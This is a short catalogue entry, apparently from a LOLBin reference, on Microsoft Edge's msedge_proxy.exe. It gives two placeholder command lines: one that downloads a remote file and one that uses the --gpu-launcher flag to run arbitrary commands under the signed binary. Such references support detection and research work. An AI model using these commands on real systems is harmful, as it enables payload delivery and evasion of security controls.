windows enabled community high v1.0.0

msedge-proxy

Microsoft Edge Browser Located at: C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe.

📋 Live Preview
msedge-proxy
msedge-proxy

Sandbox: execFile · Timeout: 30s

Capabilities

network.transfer.download
security.execution.command

Contract

Outputs

process.output

Command execution output

Side effects: network_trafficprocess_spawn

Workflow Edges

Produces

process.output

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networkmedium
Disk I/Olow

Examples

msedge_proxy will download malicious file. (Download file from the internet)

C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe {REMOTEURL:.zip}

msedge_proxy.exe will execute file in the background (Executes a process under a trusted Microsoft signed binary)

C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe --disable-gpu-sandbox --gpu-launcher="{CMD} &&"

Detection

Documentation

msedge-proxy

msedge-proxy is a Windows LOLBin. Microsoft Edge Browser Located at: C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe.